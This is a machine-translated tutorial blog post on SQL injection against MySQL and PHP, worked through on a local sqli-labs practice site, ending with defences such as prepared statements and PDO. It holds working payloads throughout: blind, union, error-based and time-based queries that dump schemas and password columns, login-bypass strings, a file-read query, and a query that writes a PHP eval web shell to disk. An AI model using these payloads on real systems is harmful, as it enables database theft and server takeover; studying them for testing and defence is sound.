Detailed explanation of SQL injection vulnerabilities

Detailed explanation of SQL injection vulnerabilities

catalogue

Classification of SQL injection

Determine whether SQL injection exists

1: Boolean blind injection

2: union injection

3: File reading and writing

4: Error injection

floor error injection

ExtractValue error injection

UpdateXml error injection

5: Time blind injection

6: REGEXP regular matching

7: Wide byte injection

8: Stack Injection

9: Secondary injection

10: User agent injection

11: Cookie injection

12: Filter bypass

13: Legendary universal password

Prevention of SQL injection

(1) Preparedstatement (JSP)

(2)PDO(PHP)

(3) Filtering using regular expressions

(4) Other

The environment of all the following codes: MySQL 5 5.20+PHP

SQL injection

SQL injection is because the background SQL statements splice the user's input, and the Web application does not judge and filter the legitimacy of the user's input data. The parameters passed from the front end to the back end are controllable by the attacker. The attacker can realize arbitrary operation on the database by constructing different SQL statements. For example, query, delete, add, modify data, etc. if the user authority of the database is large enough, you can also perform operations on the operating system.

SQL injection can be divided into platform layer injection and code layer injection. The former is caused by insecure database configuration or vulnerability of database platform; The latter is mainly due to the programmer's failure to filter the input carefully. SQL injection is an attack on the database, background and system levels!

Since the following environments are MySQL databases, first learn about mysql. On mysql5 After 0, MySQL adds an information by default_ Schema database. The tables in the database are read-only and cannot be updated, deleted, inserted, or loaded with triggers, because they are actually only a view, not a basic table, and have no associated files.

When trying to delete the database, the following error will appear!

Annotators in mysql: #, / * * /--

information_ There are three important tables in the schema database:

  • information_schema.schemata: this data table stores the database names of all databases in the mysql database
  • information_schema.tables: this data table stores the table names of all data tables in the mysql database
  • information_schema.columns: this data table stores the column names of all columns in the mysql database

Some syntax of these tables:

// All database names can be obtained through this statement  
select schema_name from information_schema.schemata limit 0,1
 
// All data table names can be obtained through this statement
select table_name from information_schema.tables limit 0,1
// All table names in the specified security database can be obtained through this statement
select table_name from information_schema.tables where table_schema='security'limit 0,1
 
// All column names can be obtained through this statement
select column_name from information_schema.columns limit 0,1
// Through this statement, you can get all the column names of the data table users in the specified database security
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
 
//Through this statement, you can get the data of the specified column password in the specified data table users (only the data in the database where database() is located, because if it is in the current database, you can't query the data in other databases)
select password from users limit 0,1

Some commonly used functions in mysql:

  • version(): query the version of the database
  • user(): query the user of the database
  • database(): Database
  • system_user(): system user name
  • session_user(): the user name to connect to the database
  • current_user: current user name
  • load_file(): read local file
  • @@datadir: read database path
  • @@basedir: mysql installation path
  • @@version_complie_os: View operating system
ascii(str) : Returns the of the given character ascii Value, if str Is an empty string and returns 0; If str yes NULL,return NULL. as ascii("a")=97
length(str) : Returns the length of a given string, such as  length("string")=6
substr(string,start,length) : For the given string string,from start Bit start intercept, intercept length length ,as  substr("chinese",3,2)="in"
substr(),stbstring(),mid()  The usage and functions of the three functions are consistent
concat(username): To be queried username Together, separated by commas by default
concat(str1,'*',str2): String str1 and str2 The data is queried together and used in the middle*connect
group_concat(username) : take username The data are queried together and connected with commas
limit 0,1: Query the first number        limit  1,1:  Query the second number             limit  n,1:  Query page n+1 number

More about SQL statements: https://blog.csdn.net/qq_36119192/article/details/82875868

Classification of SQL injection

Classification according to injection point type

  • Digital type injection
  • String type injection
  • Search injection

Classification by submission method

  • GET injection
  • POST injection
  • COOKIE injection
  • HTTP header injection (XFF injection, UA injection, reference injection)

Classification according to the way of obtaining information

  • Blind annotation based on Boolean
  • Blind injection based on time
  • Error based injection
  • Joint query injection
  • Heap query injection (multiple statements can be executed simultaneously)

Determine whether SQL injection exists

A website has so many pages, so how do we judge whether there are SQL injected pages? We can scan with website vulnerability scanning tools. Common website vulnerability scanning tools include AWVS, AppScan, OWASP zap, Nessus, etc.

However, in many cases, we still need to manually judge whether there are SQL injection vulnerabilities. The following lists common ways to judge SQL injection. However, at present, most websites have defense against this. It still depends on technology and experience to really find SQL injection vulnerabilities in web pages.

1: Without saying anything, first add single quotation marks', double quotation marks ", single parentheses), double parentheses, etc. to see if an error is reported. If an error is reported, there may be a SQL injection vulnerability.

2: In addition, add and 1=1 and and 1=2 after the URL to see whether the page displays the same. If the display is different, there must be a SQL injection vulnerability.

3: There is also the Timing Attack test, that is, time blind injection. Sometimes exceptions cannot be seen through simple conditional statements such as and 1=2.

In MySQL, there is a Benchmark() function, which is used to test performance. Benchmark(count,expr). The result of this function is to execute the expression expr count times.

Therefore, using the benchmark function, the same function can be executed several times, so that the return time of the result is longer than usual. Through the change of time, we can judge whether the injection statement is executed successfully. This is a side channel attack. This technique is called Timing Attack in blind injection, that is, time blind injection.

Function points prone to SQL injection: SQL injection is easy to appear where there is interaction with the database. SQL injection often appears in landing pages, function points involving obtaining HTTP headers (user agent / client IP, etc.) and order processing. For example, on the landing page, in addition to the common universal password and post data injection, it may also occur in the fields such as client IP and x-forward-for in the HTTP header. These fields are used to record the i p logged in, which may be stored in the database and interact with the database, resulting in SQL injection.

1: Boolean blind injection

Blind injection is an injection attack completed when the server has no error echo. There is no error echo on the server, which is very important for the attacker, so the attacker must find a method to verify whether the injected SQL statement has been executed.

Let's take a look at an example: This is Less-5 of sqli. I have slightly changed the source code so that the page will display the executed sql statements

By input http://127.0.0.1/sqli/Less-1/?id=1 We got the following page

Then enter http://127.0.0.1/sqli/Less-5/?id=-1 we get the following page

When we enter http://127.0.0.1/sqli/Less-5/?id=1 'we get the following page

It can be seen that the code treats the id as a character, and there is a limit of 0,1 for the number of lines displayed. When we enter the correct statement, You are in When we enter the wrong statement, no data is displayed. When there is a syntax error in our statement, an SQL statement error is reported.

Therefore, we can infer the source code of the page:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //sql query statement
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  if($row){                    //If data is queried
          echo 'You are in...........';
    }else{                      //If no data is found
       print_r(mysql_error());    
  }

So we can confirm our conjecture by constructing some judgment statements and whether the page is displayed. Some functions commonly used in blind annotation: ascii(), substr(), length(), exists(), concat(), etc

1: Judge database type

The error page in this example has told us that this database is MySQL, so when we don't know what database it is, how can we tell which database it is?

Although most SQL statements of most databases are similar, each database still has its own special table. Through the table, we can distinguish which databases are.

The unique table of MySQL database is information_ schema. Tables, access database specific tables are msysobjects, and SQL Server database specific tables are sysobjects. Then, we can judge the database with the following statement. Which page is displayed normally belongs to which database

//Determine whether it is a Mysql database
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) #
 
//Determine whether it is an access database
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) #
//Determine whether it is a Sqlserver database
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) #

For MySQL databases, information_ The tables in the schema database are read-only and cannot be updated, deleted, inserted, or loaded with triggers, because they are actually only a view, not a basic table, and have no associated files.

information_schema.tables stores metadata information of data tables. Common fields are described below:

  • table_schema: record database name;
  • table_name: record data table name;
  • table_rows: rough row estimation about the table;
  • data_length: the size of the record table (in bytes);

2: Judge the current database name (the following methods are not applicable to access and SQL Server Databases)

1: Judge the length of the current database, using dichotomy
http://127.0.0.1/sqli/Less-5/? Id = 1 'and length (database()) > 5 / / normal display
http://127.0.0.1/sqli/Less-5/? Id = 1 'and length (database()) > 10 / / no data is displayed
http://127.0.0.1/sqli/Less-5/? Id = 1 'and length (database()) > 7 / / normal display
http://127.0.0.1/sqli/Less-5/? Id = 1 'and length (database()) > 8 / / no data is displayed
 
If it is greater than 7, it will be displayed normally and if it is greater than 8, it means that it is greater than 7 but not greater than 8. Therefore, it can be seen that the current database length is 8
 
2: Determine the character of the current database,Like the above method, use dichotomy to judge in turn
//Judge the first character of the database
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
//Judge the second character of the database
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
 
...........
It can be judged that the current database is security

3: Judge the table in the current database

http://127.0.0.1/sqli/Less-5/? Id = 1 'and exists (select * from admin) / / guess whether the admin table exists in the current database
1: Judge the number of tables in the current database
// Judge whether the number of tables in the current database is greater than 5, judge in turn by dichotomy, and finally know that the number of tables in the current database is 4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
2: Judge the length of each table
//Judge the length of the first table by dichotomy. Finally, it can be seen that the length of the first table in the current database is 6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
 
//Judge the length of the second table by dichotomy. Finally, it can be seen that the length of the second table in the current database is 6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
3: Determine the value of each character in each table ascii value
//Judge the ascii value of the first character of the first table
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
 
//Judge the ascii value of the second character of the first table
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
.........
Thus, it can be judged that there is a table emails,referers,uagents,users ,guess users Accounts and passwords are most likely to exist in the table, so the following judgment fields and data are in the table users Judgment in table

4. Determine the fields in the table

http://127.0.0.1/sqli/Less-5/? Id = 1 'and exists (select username from admin) / / if it is confirmed that the admin table exists, guess whether the username field exists
1: Determine the number of fields in the table
//Judge whether the number of fields in the users table is greater than 5. The users table here is exploded through the above statement
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
2: Determine the length of the field
//Determine the length of the first field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
 
//Determine the length of the second field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
3: Judgment field ascii value
//Determine the length of the first character of the first field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
 
//Determine the length of the second character of the first field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
...........
From this, it can be judged that users Exists in table id,username,password field

5. Judge the data in the field

We know users There are three fields in the id ,username ,password,We now explode the data of each field
 
1: Judge the length of data
// Determine the length of the first data in the id field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
 
// Determine the length of the second data of the id field
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
2: Judge the of data ascii value
// Determine the ascii value of the first character of the first data of the id field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
 
// Determine the ascii value of the second character of the first data of the id field
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
...........

2: union injection

union Union queries are suitable for injection with display columns.

We can judge the number of columns in the current table by order by. Finally, we can see that the current table has three columns

http://127.0.0.1/sqli/Less-1/?id=1' order by 3 #

We can know the number of columns displayed by union joint query

127.0.0.1/sqli/Less-1/?id=1' union select 1 ,2 ,3 #

Eh, why don't we show our joint query here? Because this page only displays one line of data, we can negate the previous condition with and 1=2, or we can directly change the previous id=1 to id=-1. In the following code, we inject id=-1

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 #
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3 #

In this way, our joint query will be displayed. It can be seen that columns 2 and 3 are display columns. Then we can insert some functions in these two positions.

We can obtain some important information of the database through these functions

  • version(): the version of the database
  • database(): the current database
  • @@basedir: the installation directory of the database
  • @@datadir: the storage directory of database files
  • user(): the user of the database
  • current_user(): current user name
  • system_user(): system user name
  • session_user(): the user name to connect to the database
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,version(),user() #
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,database(),@@basedir #
http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,@@datadir,current_user() #

We can also get more information through union injection.

// Get all databases 
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(schema_name),3 from information_schema.schemata#
 
// Get all tables
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables#
// Get all columns
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(column_name),3 from information_schema.columns#
 
#Get the value of the specified field of the specified table in the current database (only the data in the database where database() is located, because the data in other databases cannot be queried under the current database)
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(password),3 from users%23

When we know the current database name security, we can get all the tables of the current database through the following statement.

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #

We know that there are four tables in the current database, so we can know the columns in each table through the following statement

http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #

As follows, we can know that the users table has three columns: id, username and password

If we know that there is a users table and that there are three columns of id, username and password in the table, we can construct the following statement

http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,group_concat(id,'--',username,'--',password),3 from users #

We will explode all the data in the users table

3: File reading and writing

When there are display columns, file reading can use union injection. When no column is displayed, only blind note can be used for data reading;

File writing can only use union injection

Example: Read 3. 0 under disk e Txt file

union injection read file

//union injection read e: / 3 Txt file
http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file("e:/3.txt")#
 
//You can also put e: / 3 Txt to hex 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1'   union select 1,2,load_file(0x653a2f332e747874)#

Blind note read file

//Blind note reading is to use hex function to convert the read string into hexadecimal, then use ascii function to convert it into ascii code, and then use dichotomy to judge characters one by one. It is very complex and is generally completed in combination with tools
http://127.0.0.1/sqli/Less-1/?id=-1' and ascii(mid((select hex(load_file('e:/3.txt'))),18,1))>49#' LIMIT 0,1

We can use the function of writing files to create 4.0 files on disk e PHP file, and then write a sentence

union write file

//Using union injection to write one sentence, Trojans into outfile and into dumpfile can be used
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'e:/4.php' #
 
// One sentence can be converted into hexadecimal form
http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,0x3c3f70687020406576616c28245f504f53545b6161615d293b3f3e  into outfile  'e:/4.php' #

4: Error injection

Utilization premise: no bit is displayed on the page, but the SQL statement execution error message needs to be output. For example, mysql_error() Advantages: no display bits are required Disadvantages: you need to output mysql_ Error message of error()

floor error injection

Floor error reporting injection is an injection vulnerability generated by the combination of count() function, rand() function, floor() function and group by function. not a single one can be omitted

// We can change user() to any function to get the information we want. See information at the beginning of the article for details_ Part of schema database
http://127.0.0.1/sqli/Less-1/?id=-1'  and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) #
 
//Break it down
(select 1 from (Y)a)
 
Y= select count(*) from information_schema.tables group by concat(Z)
 
Z= user(),floor(rand(0)*2)           //Replace the user() here with the function we need to query

floor error injection reference: https://blog.csdn.net/zpy1998zpy/article/details/80650540

ExtractValue error injection

EXTRACTVALUE (XML_document, XPath_string)
  • First parameter: XML_document is in String format and is the name of the XML document object
  • Second parameter: XPath_ String (string in XPath format)

Function: returns a string containing the queried value from the target XML

ps: the returned result is limited to 32-bit characters

// You can change user() to any function and sql statement we want to query, 0x7e means~
http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(1,concat(0x7e,user(),0x7e))#
// Through this statement, you can get all the database names, more about informaion_ See the article header for the use of schema
http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#

UpdateXml error injection

The UpdateXml function actually updates the XML document, but we write a sub query in the XML document path. We enter special characters and then report an error because it does not comply with the input rules, but when the error is reported, it has actually executed the sub query code!

UPDATEXML (XML_document, XPath_string, new_value)
  • First parameter: XML_document is in String format. It is the name of the XML document object, Doc 1 in the text
  • Second parameter: Xpath_ String (string in Xpath format). If you don't know the Xpath syntax, you can find the tutorial on the Internet.
  • The third parameter: new_value, String format, replace the found qualified data

Function: change the value of qualified nodes in the document

// You can change user() to any function and sql statement we want to query, 0x7e means~
http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,user(),0x7e),1)#
// Through this statement, you can get all the database names, more about informaion_ See the article header for the use of schema
http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#

More articles on error injection: https://blog.csdn.net/cyjmosthandsome/article/details/87947136

https://blog.csdn.net/he_and/article/details/80455884

5: Time blind injection

Timing Attack injection, that is, time blind injection. Exceptions cannot be seen through simple conditional statements such as and 1=2.

In MySQL, there is a Benchmark() function, which is used to test performance. Benchmark(count,expr). The result of this function is to execute the expression expr count times.

Therefore, using the benchmark function, the same function can be executed several times, so that the return time of the result is longer than usual. Through the change of time, we can judge whether the injection statement is executed successfully. This is a side channel attack. This technique is called Timing Attack in blind injection, that is, time blind injection.

Utilization premise: there are no display bits on the page and no SQL statement execution error information is output. The correct SQL statement and the wrong SQL statement return to the page are the same, but after adding the sleep(5) condition, the return speed of the page is significantly slower by 5 seconds.

Advantages: no display bits and no error messages are required.

Disadvantages: slow speed, consuming a lot of time

The sleep function judges the page response time if (if the judgment condition is true and false)

We can construct the following statement to judge whether the condition is true. Then we transform the function until we get the information we want

//Determine whether there is delayed injection
http://127.0.0.1/sqli/Less-1/?id=1' and sleep(5)#
 
// Judge whether the ascii value of the first character of the database is greater than 100. If it is greater than 100, the page will respond immediately. If not, the page will delay the response for 5 seconds
http://127.0.0.1/sqli/Less-1/?id=1'andif(ascii(substring(database(),1,1))<100,1,sleep(5)) #

6: REGEXP regular matching

Regular Expression, also known as Regular Expression (often abbreviated as regex, regexp or RE in code), is a concept of computer science. Regular expressions are often used to retrieve and replace text that conforms to a pattern (rule)

lookup name Field contains a perhaps b All data:        select name from admin where name regexp ' a|b ';
lookup name Field contains ab,And ab All data preceded by characters(.Match any character): select name from admin where name regexp ' .ab ';
lookup name Field contains at or bt or ct All data:   select name from admin where name regexp ' [abc]t ';
lookup name Field with a-z All data at the beginning:          select name from admin where name regexp ' ^[a-z] ';

Given that the database name is security, judge whether the table name of the first table starts with the characters in a-z, ^ [a-z] -- > ^ A; Judge the first character of the first table, and then judge the second character ^ a [a-z] -- > ^ ad of the first table; In this way, judge the table name ^ admin $of the first table step by step. Then limit 1 and 1 judge the second table

// Judge whether the of the first table under the security database starts with the letter a-z
http://127.0.0.1/sqli/Less-1/?id=1' and  1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^[a-z]' limit 0,1) #

Reference documents: http://www.cnblogs.com/lcamry/articles/5717442.html

7: Wide byte injection

Wide byte injection is caused by the different characters occupied by Chinese and English in different codes. Generally speaking, in GBK coding, a Chinese character occupies 2 bytes. In UTF-8 coding, a Chinese character occupies 3 bytes. In php, we can test by entering echo strlen("medium"). When encoding GBK, we enter 2, and when encoding UTF-8, we output 3. Except GBK, all ANSI codes are Chinese and occupy two bytes.

Related articles: https://blog.csdn.net/qq_36119192/article/details/84138312

Before that, let's talk about the filtering of sql injection in php. I have to mention several functions here.

addslashes() function, which adds a backslash before the predefined character. Predefined characters: single quote ' Double quotation mark ", backslash \, NULL. However, this function is characterized by adding backslash \ for escape, but \ will not be inserted into the database. The function of this function is exactly the same as magic quotation mark, so this function should not be used when magic quotation mark is opened. You can use get_magic_quotes_gpc() to detect whether it has been escaped.

mysql_real_escape_string() function, which is used to escape the special symbols x00, \ n, \ r, \, ', ", x1a in sql statements.

Magic quotation marks: when the magic quotation marks are opened, all single quotation marks', double quotation marks ", backslash \ and NULL characters will be automatically escaped with a backslash, which is exactly the same as the addslashes() function. Therefore, if the magic quotation marks are opened, do not use the addslashes() function. There are three magic quotation marks instructions.

  1. magic_quotes_gpc affects HTTP request data (GET, POST, and COOKIE). Cannot be changed at run time. In PHP, the default value is on. See get_magic_quotes_gpc().
  2. magic_ quotes_ If runtime is enabled, most functions that get data from external sources and return data, including databases and text files, will be escaped by backslashes. This option can be changed at runtime, and the default value in PHP is off. See set_magic_quotes_runtime() and get_magic_quotes_runtime().
  3. magic_ quotes_ If Sybase is turned on, single quotes are escaped with single quotes instead of backslashes. This option completely overrides magic_quotes_gpc. If you open both options at the same time, the single quotation mark will be escaped to ''. Double quotes, backslashes, and NULL characters will not be escaped. See ini for how to obtain its value_ get()

We set up a platform here to test. Thanks to the source code of other big guys.

Test code and database: http://pan.baidu.com/s/1eQmUArw Extract password: 75tu

First, let's take a look at the source code of 1, which processes the id entered by the user with the addslashes() function and treats it as a string.

We input http://127.0.0.1/1/1/?id=1 '

Here, the addslashes function escapes our 'into \'.

Therefore, if we want to bypass this escape, we have to remove the \ of \ '. So how to get rid of it.

  1. After escaping, find a way to add another \, or even \, before \. In this way, it becomes \ \ ', which is escaped and' escaped from the limit.
  2. After the escape, try to get rid of \ and leave only one '.

Here we use the second method, wide byte injection, and here we use a feature of MySQL. When MySQL uses GBK encoding, it will consider two characters as one Chinese character. Only if the ASCII value of the previous character is greater than 128, it will be considered as a Chinese character.

Let's see what happens when we enter the following statement.

We found that the page reported an error, and the error was' 1 '. We only entered 1%df ', and finally it became 1 Yun'. Therefore, MySQL combines the% DF and backslash \ we entered together and treats them as shipped. The single quotation mark 'we entered escaped, so an error was reported. Now let's carefully sort out our ideas. We entered 1%df ', and because we used the addslashes() function to process', it finally became 1%df \', and because we can encode the URL, it finally became 1%df%5c%27. MySQL treats%df%5c as Chinese characters, so in the end%27, the single quotation marks escape, and an error is reported. Here, we can not only input% DF, but also input data with ASCII code greater than 128. Because in mysql, only when the ASCII of the current character is greater than 128, two characters will be considered as one Chinese character. So as long as the data we enter is greater than or equal to%81, we can make 'escape.

Knowing how to bypass, we can inject and get the information we want!

Since GBK coding is OK, can GB2312? With such curiosity, we changed the database code to GB2312 and tested it again. We found that when we use the input 1%df 'again, the page doesn't report an error, so why?

This is attributed to the value range of GB2312 code. Its coded value range is 0XA1~0XF7 in high order, 0XA1~0xFE in low order, and \ is 0x5c, which is not in the low order range. So 0x5c is not the code in GB2312 at all. Therefore,%5c naturally, it will not be eaten as part of Chinese.

Therefore, we can conclude from this that among all codes, wide character injection can be carried out as long as the low bit range contains 0x5C code.

This wide character injection was found, so many programs replaced the addslashes() function with MySQL_ real_ escape_ The string () function is used to resist wide byte injection. Because the official php document says that this function will take into account the current character set of the connection.

So, can this function resist wide character injection. Let's test it. Let's enter the following statement: http://127.0.0.1/1/3/?id=1%df '

It is found that wide byte injection can still be carried out. So why? The reason is that you did not specify the character set for php to connect to MySQL. We need to call mysql_ before executing the SQL statement. set_ Charset function, and set the currently connected character set to gbk.

In this way, when we input again, we can't inject wide bytes!

Repair of wide byte injection

Calling MySQL_ real_ escape_ Before the string() function, set the character set used by the connection to GBK and mysql_set_charset=('gbk',$conn) . This method is feasible. However, there are still many websites that use the addslashes() function for filtering. It is impossible for us to replace all addslashes() functions with mysql_real_escape_string().

So another way to prevent wide byte injection is to put character_set_client is set to binary. You need to specify that the connection form is binary before all sql statements:

mysql_query("SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary", $conn); 

When MySQL receives the request data from the client, it will think that its code is character_ set_ The code corresponding to the client, that is, binary. Then convert it to character_ set_ The code corresponding to the connection. Then enter the specific table and field, and then convert it to the code corresponding to the field. When the query results are generated, they will be converted from table and field codes to characters_ set_ The code corresponding to results is returned to the client. So when we put character_ set_ When the client code is set to binary, there is no problem of wide byte injection. All data is transmitted in binary form.

8: Stack Injection

In SQL, semicolon; Is used to indicate the end of an SQL statement. Imagine what we are doing; After that, continue to construct the next statement. Will it be executed together? So this idea creates stack injection. union injection also combines two statements. What is the difference between the two? The difference is that the types of statements executed by union or union all are limited and can only be used to execute query statements, while stack injection can execute arbitrary statements. For example, the following example. User input: root';DROP database user; The SQL statement generated on the server side is: Select * from user where name='root';DROP database user; After the query is executed, the first item displays the query information, and the second item deletes the entire user database.

9: Secondary injection

Secondary injection vulnerability is a form of security vulnerability widely existing in Web applications. Compared with the primary injection vulnerability, the secondary injection vulnerability is more difficult to be found, but it has the same attack power as the primary injection vulnerability.

  1. By constructing data, hackers submit HTTP data message requests in browsers or other software to the server for processing. The submitted data message requests may contain SQL statements or commands constructed by hackers.
  2. The server application will store the data information submitted by the hacker, usually in the database. The main function of the saved data information is to provide the original input data for the application to perform other functions and respond to the client request.
  3. The hacker sends the second request data information different from the first to the server.
  4. After the server receives the second request information submitted by the hacker, in order to process the request, the server will query the data information stored in the database and process it, resulting in the execution of the SQL statement or command constructed by the hacker in the first request in the server environment.
  5. The server returns the processing result data information executed. The hacker can judge whether the secondary injection vulnerability is successfully exploited through the returned result data information

We visit http://127.0.0.1/sqli/Less-24/index.php

It's a login page. We don't have an account, so we choose to create a new user

Our new user name is admin '# password is 123456

Looking at the database, you can see that our data has been inserted

We log in with the new user name and password

Login succeeded, and jump to the background page and modify password page.

We changed the user name to admin '# and the password to AAA

Prompt password update succeeded!

We checked the database and found that the password of user admin '# was not changed, and the password of admin user was changed to aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

So why? We check the source code of the password modification page and find that there are obvious SQL injection vulnerabilities here

When we submit the user name admin '# and change the password to aaaaaaaaaa, the SQL statement becomes the following statement.

#I annotated the following, so I changed the password of admin user to aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaaaaaa' where username='admin'#' and password='$curr_pass' ";

10: User agent injection

We visit http://127.0.0.1/sqli/Less-18/ , the page displays a login box and our ip information

When we log in after entering the correct user name and password, the browser user agent is displayed on the page

Capture the package and modify its user agent to

'and extractvalue(1,concat(0x7e,database(),0x7e))and '1'='1  #We can modify database() to any function

As you can see, the page displays the current database

11: Cookie injection

Nowadays, most developers will properly filter the parameters passed in by users during the development process, but many times, due to their different understanding of security technology, some developers will only filter the parameters of the data submitted by get and post.

However, we know that many times, there are not only get / post methods for submitting data, but also a frequently used method: request("xxx"), that is, the request method. In this way, the parameter value can be obtained from the parameters submitted by the user, which leads to the most basic condition of cookie injection: the request method is used, but only the data submitted by the user get / post is filtered.

We have a connection here: www.xx com/search. asp? id=1

We visit: www.xx.com com/srarch. ASP found that it is inaccessible, saying that the id parameter is missing.

We put id=1 in the cookie and visit it again to see whether it can be accessed. If it can be accessed, it means that the ID parameter can be submitted through the cookie.

If the back-end does not filter the incoming data in the cookie, the website may have cookie injection!

12: Filter bypass

To be updated.

13: Legendary universal password

sql="select*from test where username=' XX '  and password=' XX '  ";

admin' or '1'='1            XX         //Universal password (known user name)
XX                        'or'1'='1     //Universal password (do not need to know user name)
'or '1'='1'#               XX / / universal password (do not know user name)

Prevention of SQL injection

1) Preparedstatement (JSP)

Precompiled statement set can be used. It has built-in ability to handle SQL injection. Just use its setXXX method to pass values.

 String sql = "select id, no from user where id=?";
 PreparedStatement ps = conn.prepareStatement(sql);
 ps.setInt(1, id);
 ps.executeQuery();

As shown above, SQL statement precompiling is typically used to prevent SQL injection. Why can this prevent SQL injection?

The reason is that the PreparedStatement is precompiled, and the SQL statement will be: "select id, no from user where id =?" Precompiled, that is, the SQL Engine will perform syntax analysis in advance, generate a syntax tree and generate an execution plan, that is, the parameters you enter later, no matter what you enter, will not affect the syntax structure of the SQL statement, because the syntax analysis has been completed, and the syntax analysis is mainly to analyze SQL commands, such as select, from, where, and, or order by wait. Therefore, even if you enter these SQL commands later, they will not be executed as SQL commands, because the execution of these SQL commands must first generate an execution plan through syntax analysis. Since the syntax analysis has been completed and precompiled, the parameters entered later can never be executed as SQL commands, Will only be treated as a string literal parameter. Therefore, SQL statement precompiling can effectively prevent SQL injection.

Principle: SQL injection only destroys the compilation process of SQL statements, while the PreparedStatement has been precompiled, and the execution stage only processes the input string as data. Instead of parsing the SQL statement. Therefore, the problem of SQL injection is avoided.

(2)PDO(PHP)

First, briefly introduce what is PDO. PDO is short for PHP Data Objects. It's at php5 PDO is supported after version 1. You can think of PDO as a class provided by php. It provides a set of database abstraction layer API s, so that writing php code no longer cares about the specific database type to connect. You can use PDO to connect to mysql or oracle. And PDO solves the problem of sql injection.

The principle of PDO for solving SQL injection is also based on precompiling.

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
$data->bindParam( ':id', $id, PDO::PARAM_INT ); 
$data->execute();

After instantiating the PDO object, the first step is to precompile the request SQL statement. Here, we use the placeholder method. After the SQL is passed into the prepare function, the preprocessing function will get the SQL template class of the query statement and return the template class. The template can prevent those dangerous variables from changing the semantics of the query statement. Then use the bindParam() function to bind the data and parameter id entered by the user, and finally execute

(3) Filtering using regular expressions

Although precompiling can effectively prevent SQL injection, in some specific scenarios, it may be necessary to splice the data entered by the user. In this case, we need to strictly check the data entered by the user and use regular expressions to filter the dangerous strings. This method is based on blacklist filtering, so that hackers try every means to bypass the injection. Regular expression based filtering is still unsafe because there is a risk of bypassing.

Strictly fi lt er the special characters entered by the user, such as', ", <, >, /, *,;, +, -, &, | (,),and,or,select,union

(4) Other

  • There is a strict distinction between the permissions of the user used to connect to the database in the Web application and the system administrator user of the database (e.g. unable to execute drop, etc.), and it is set that the user used to connect to the database in the Web application is not allowed to operate other databases
  • Set that the user used to connect to the database in the Web application is not allowed to have write permission to the Web directory.
